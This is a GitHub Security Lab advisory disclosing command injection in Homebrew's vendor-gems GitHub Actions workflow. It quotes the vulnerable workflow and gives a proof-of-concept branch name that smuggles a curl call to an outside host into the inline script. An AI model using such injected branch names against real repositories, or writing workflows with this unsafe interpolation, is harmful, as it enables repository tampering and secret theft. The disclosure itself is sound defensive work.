skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
April 1, 2021

GHSL-2021-044: Command injection in a GitHub workflow of Homebrew/brew

Jaroslav Lobacevski

Coordinated Disclosure Timeline

Summary

The vendor-gems.yml GitHub workflow is vulnerable to command injection.

Product

Homebrew/brew repository

Tested Version

The latest changeset of vendor-gems.yml to date.

Details

Issue: A branch name is used to format inline script

on:
  pull_request_target:
  workflow_dispatch:
    inputs:
      pull_request:
        description: Pull request number
        required: true

jobs:
  vendor-gems:
    if: >
      startsWith(github.repository, 'Homebrew/') && (
        github.event_name == 'workflow_dispatch' || (
          github.event.pull_request.user.login == 'dependabot[bot]' &&
          contains(github.event.pull_request.title, '/Library/Homebrew')
        )
      )
...
        run: |
          gh pr checkout '${{ github.event.pull_request.number || github.event.inputs.pull_request }}'
          branch="$(git branch --show-current)"
          echo "::set-output name=branch::${branch}"
          gem_name="$(echo "${branch}" | sed -E 's|.*/||;s|(.*)-.*$|\1|')"
          echo "::set-output name=gem_name::${gem_name}"
        env:
          GITHUB_TOKEN: ${{ secrets.HOMEBREW_GITHUB_API_TOKEN }}
      - name: Vendor Gems
        run: |
          if [[ '${{ steps.checkout.outputs.gem_name }}' == 'sorbet' ]]; then
            brew vendor-gems --update sorbet,sorbet-runtime
          else
            brew vendor-gems
          fi

A potentially untrusted branch name from pull request is used to format an inline script.

Impact

An attacker may create a legitimate pull request. The workflow is vulnerable to arbitrary script injection which enables un-authorized modification of the base repository and secrets exfiltration if the repository owner is tricked into manually dispatching the workflow and doesn’t pay attention to the branch name the pull request comes from. A PoC of such a branch name would be: long/text/here/a'==$($(curl${IFS}asdf.com))'a

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-044 in any communication regarding this issue.